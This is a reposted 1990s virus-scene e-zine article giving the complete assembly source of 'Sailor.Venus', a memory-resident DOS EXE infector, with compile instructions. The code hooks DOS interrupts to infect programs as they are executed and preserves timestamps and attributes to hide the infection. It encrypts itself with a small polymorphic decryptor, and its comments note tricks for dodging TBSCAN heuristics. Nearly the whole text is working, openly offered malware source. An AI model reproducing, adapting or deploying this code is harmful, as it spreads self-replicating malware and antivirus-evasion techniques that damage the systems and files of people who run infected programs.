Copy Link
Add to Bookmark
Report

xine-1.020

eZine's profile picture
Published in 
Xine
 · 26 Apr 2019

  


/-----------------------------\
| Xine - issue #1 - Phile 020 |
\-----------------------------/

;
;
; ...once again...
; b0z0 of the iKx presents
; Sailor.Venus
;
; Here is the second member of my Pretty Sailors family. It's a simple EXE
; infector that infect on execute (4bh). Of course it will preserve attributes,
; time and date of creation. The virus will fill the last page with shit stuff
; and will place itself on a new one. The virus has a small polymorphic crap.
; The size of the decriptor is fixed (0fh bytes). The encryption/decryption
; routine use the ADD/SUB/XOR operations on bytes or words (randomly selected)
; with a random value. When operating on a byte/word the used register is DI
; or SI. All the code isn't everytime encrypted, infact the mutation routine
; can generate decryptors that encrypt every second (or third) byte when
; encrypting bytes and can generate decryptors that encrypt a word and leave
; clear a byte when encrypting words.
; This is my first attempt to create a small quite polymorphic engine, and
; i promise that the next time it will be smaller, not as scannable as this,
; and also a little more poly. :)
;
; have phun!
;
; To compile:
; TASM /M2 VENUS.ASM
; TLINK VENUS

.model tiny
.code
assume cs:@code
org 0h

entry_point:
start_code:
;; this code will be overwritten by the decryptor - FG use only ;;

tempzone db 0dh dup (90h)

push cs
pop ds
;; here finish the overwritten code ;;
call install_in_memory ;let's go

push es
pop ds

mov ax,es ;vic_cs points on old proggy
add ax,10h
add cs:[vic_cs],ax

cli ;restore old ss:sp
mov sp,word ptr cs:[vic_sp]
add ax,word ptr cs:[vic_ss]
mov ss,ax
sti

sub ax,ax ;put zeros in regs
sub dx,dx
xor bx,bx
sub cx,cx
xor di,di
sub si,si

db 0eah ; jmp far to the old program
vic_ip dw 00000h
vic_cs dw 0fff0h ; for the first gen go to PSP:00h -> int 20h
vic_sp dw ?
vic_ss dw ?

install_in_memory:
push es
push cs
pop ds
mov ax,6b2dh ; check if we are resident
int 21h
cmp ah,al
je go_away

push es
mov ax,3521h ; get int 21 adress
int 21h
mov word ptr [old_int21_off],bx ;store int21 offset
mov word ptr [old_int21_seg],es ; and segment
pop es

mov ax,es ; es=psp
dec ax ; psp-1=mcb
mov ds,ax ; DS = segment of programs mcb
sub si,si
l4mcb: ; look for last mcb in chain
cmp byte ptr [si],'Z' ; is the last?
je last
inc ax
add ax,word ptr [si+03h] ; nope, search for last
mov ds,ax
jmp l4mcb

last:
sub word ptr [si+03h],code_size_para ; = mcb+03h
add ax,word ptr [si+03h]
sub word ptr [si+12h],code_size_para ; = psp+02h
inc ax ; AX first usable segment

cld
sub di,di ; di=0
push cs
pop ds ; ds points on code
mov cx,(code_size+1)/2
mov es,ax ; es points on our usable segment
lea si,start_code ; si points on our code
rep movsw ; move virus
push es

mov ax,2621h ; install our interrupt handler
dec ah
pop ds ; get mem segment where we are located
mov dx,[offset int21_handler]
int 21h
go_away:
pop es
ret
int21_handler:
cmp ax,6b2dh ; internal admin stuff :)
jne no_check
sub ah,3eh
iret
no_check:
push bx
mov bx,4b00h
cmp ax,bx ; execute
pop bx
je exec

jmp cs:old_int21
int24_handler:
mov al,03h
iret
old_int21 label dword
old_int21_off dw ? ;original int21 offset
old_int21_seg dw ? ;original int21 segment
ourname db 0,'Sailor.Venus',0
author db '-b0z0/iKx-',0

exec:
push si
push di
push ax
push bx
push cx
push dx
push ds
push es
push bp

push ds
push dx
mov ax,3524h ;get int24h seg and off
int 21h
mov word ptr cs:[old_int24_off],bx ;store them
mov word ptr cs:[old_int24_seg],es

lea dx,int24_handler ;set our int24h handler
mov ax,2524h
int 21h
pop dx
pop ds

mov ax,4300h ;get file attributes
int 21h

push ds ;save ASCIIZ string with file name
push dx
push cx ;save attributes
xor cx,cx ;delete attributes
call set_attr

mov ax,3d02h ;open for r/w
int 21h
jnc infectit
jmp exit_infect
infectit:
mov bx,ax ;bx file handle
push cs
pop ds

mov ax,5700h ;get time/date
int 21h
push dx ;store them
push cx

mov ah,3fh ;read da head
mov cx,1ch
lea dx,exehead
mov si,dx
int 21h

cmp byte ptr [si],'M' ;is exe?
je is_exe
nopein:
jmp not_exe
is_exe:
cmp byte ptr [si+01h],'Z' ;is exe?
jne nopein
cmp byte ptr [si+18h],'@' ;winexes?
je nopein
cmp word ptr [si+12h],'VS' ;sailorvenus marker?
je nopein
cmp word ptr [si+1ah],00h ;internal ovl?
jne nopein
mov cx,word ptr [si+02h]
mov ax,512
sub ax,cx
push ax

mov al,02h ;go to the end of the file
call movefile
call normal ;check if _really_ no overlays
pop cx
cmp dx,word ptr [lendx] ;compare lseek length with
ja nopein ;length of image that will
cmp ax,word ptr [lenax] ;be loaded by the loader
ja nopein

add ax,cx ;add our alignment bytes
adc dx,00h
push ax
push dx

mov ah,40h ;write some shit to align
mov dx,0f00h ;from ds:0f00 :)
int 21h
mov word ptr [si+02h],00h

mov cx,word ptr [si+14h] ;store old IP
mov vic_ip,cx
mov cx,word ptr [si+16h] ;store old CS
mov vic_cs,cx
mov cx,word ptr [si+10h] ;store old SP
mov vic_sp,cx
mov cx,word ptr [si+0eh] ;store old SS
mov vic_ss,cx

pop dx
pop ax
push ax
push dx

mov cx,10h
div cx

sub ax,word ptr [si+8h]

mov word ptr [si+16h],ax ;new CS
mov word ptr [si+14h],dx ;new IP (will be zero)

add dx,offset ourstack ;SP after us

mov word ptr [si+0eh],ax ;new SS
mov word ptr [si+10h],dx ;new SP

pop dx ;length
pop ax

add ax,code_size
adc dx,00h
mov cx,512
div cx
inc ax
mov word ptr [si+04h],ax ;new nr of pages
mov word ptr [si+02h],dx ;new image mod 512
mov word ptr [si+12h],'VS' ;marker

push ds
push si
mov ax,08d00h ;some free (? :) ) mem
mov es,ax
sub di,di
mov si,di
mov cx,code_size
push cx
rep movsb ;copy virus in a piece of mem

call muta ;mutate a little our code

mov ah,40h ;write virus at end
pop cx
sub dx,dx
int 21h
pop si
pop ds

mov al,00h ;move at begin
call movefile

mov ah,3fh ;write new exe header
inc ah
mov cx,1ch
mov dx,si
int 21h
not_exe:
pop cx ;old date/time
pop dx
mov ax,5601h ;restore old date time
inc ah ;don't warn tbscan heuristic
int 21h

mov ah,3eh ;close file
int 21h
exit_infect:
pop cx
pop dx
pop ds
call set_attr

mov ax,2524h
mov dx,cs:[old_int24_off]
mov ds,cs:[old_int24_seg]
int 21h ; restore int24h

pop bp
pop es
pop ds
pop dx
pop cx
pop bx
pop ax
pop di
pop si
jmp cs:old_int21
normal:
push ax ;calculate lenght of loaded
push dx ;image from header
mov cx,word ptr [si+04h]
mov ax,512
mul cx
add ax,word ptr [si+02h]
adc dx,00h
mov word ptr [lenax],ax
mov word ptr [lendx],dx
pop dx
pop ax
ret
movefile: ;move through the file
mov ah,42h
cwd ;cx=dx=00h
sub cx,cx
int 21h
ret
set_attr: ;set attributes to CX
mov ax,4201h ;set attributes
inc ah ;g'bye tbscan F flag
int 21h
ret
muta:
; input es:00h
;
; the mutation routine will be something like:
;
; mov di/si,length_decryptor
; mov cx,length_encrypted_code
;dec:
; add/sub/xor byte/word ptr cs:[di/si],_immediate_
; inc (di/si)/nop (always inc when working with words)
; inc (di/si)/nop
; inc di/si
; loop dec
;
push bx
lea si,enc_value ;si on encryption value
mov bx,9047h ;bh=NOP bl=INC [DI]
;just a little optimized ;)

in al,40h ;rnd value
mov byte ptr [si],al ;encryption value

mov dl,046h
mov byte ptr [si-3],2eh ;write the CS:

mov cx,offset enctable ;select the enc method
mov di,[si+02fh] ;si+2fh --> encselected
push di
add di,cx
mov ch,[di]
mov byte ptr [si-1],ch

pop cx
shr cx,1
jnc isadi
mov byte ptr [si-9],0beh ;on decryptor
mov byte ptr [si+3],dl ;SI used
cmp byte ptr [si+1],bh
je nosecondinc
mov byte ptr [si+1],dl

nosecondinc:
cmp byte ptr [si+2],bl
jne finchanges
mov byte ptr [si+2],dl
jmp finchanges

isadi:
mov byte ptr [si-9],0bfh ;the selected instruction
mov byte ptr [si+3],bl ;need DI operands
cmp byte ptr [si+1],bh
je notwoincs
mov byte ptr [si+1],bl

notwoincs:
cmp byte ptr [si+2],dl
jne finchanges
mov byte ptr [si+2],bl

finchanges:

push si
mov cx,length_dec
sub di,di
sub si,09h ;si on decryptor
rep movsb ;copy the decryptor
pop si
push di

mov byte ptr [si-3],bh ;no CS: in the encryptor
mov di,offset dectable ;select the right encryptor
mov cx,[si+02fh]
sub di,cx
mov ch,[di]
mov byte ptr [si-1],ch
dec word ptr [si+02fh] ;rotate trought the pox enc.
jnz notcicle
mov word ptr [si+02fh],07h

notcicle:
pop di
push es
pop ds ;ds on code to be encrypted
push si
push di ;di=si, so any encryption will
pop si ;work correctly
jmp encryptor

decryptor:
mov di,length_dec

encryptor:
mov cx,code_size-length_dec

the_loop:
db 2eh ;CS:

our_loop:
db 80h,2dh ;the encrtption method
enc_value db 00h ;,immediate8
nop ;which bytes will we enc/decrypt
nop
inc di
loop the_loop

decryptor_end:
pop si
push ds
push cs
pop ds

shr al,1 ;select if the next will encrypt
jc tobyte ;word or bytes

toword:
mov byte ptr [si-2],83h ;to word
mov byte ptr [si+2],bh
mov byte ptr [si+1],bl ;must be two incs
shr al,1
jc dontdo
mov byte ptr [si+2],bl ;or three

dontdo:
jmp letsgo

tobyte:
mov byte ptr [si-2],80h ;to byte
shr al,1 ;select if encrypt any byte or
jnc letsgo ;only every two
mov byte ptr [si+1],bh

letsgo:
pop ds
pop bx
ret

encselected dw 07h
enctable: ;poxible enc/dec operations
db 90h
db 04h ;ADD [si]
db 05h ;ADD [di]
db 34h ;XOR [si]
db 35h ;XOR [di]
db 34h ;XOR [si]
db 2dh ;SUB [di]
db 2ch ;SUB [si]
dectable:
end_code: ;anthing after this line wouldn't be in the file

old_int24_off dw ? ;original int24 offset
old_int24_seg dw ? ;original int24 segment

lenax dw ?
lendx dw ?
exehead db 1dh dup(?)

length_dec=decryptor_end-decryptor

code_size=end_code-start_code
code_size_para=((code_size+0fh)/10h)+2


lenghtstack db 256 dup (?)
ourstack:


end entry_point

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT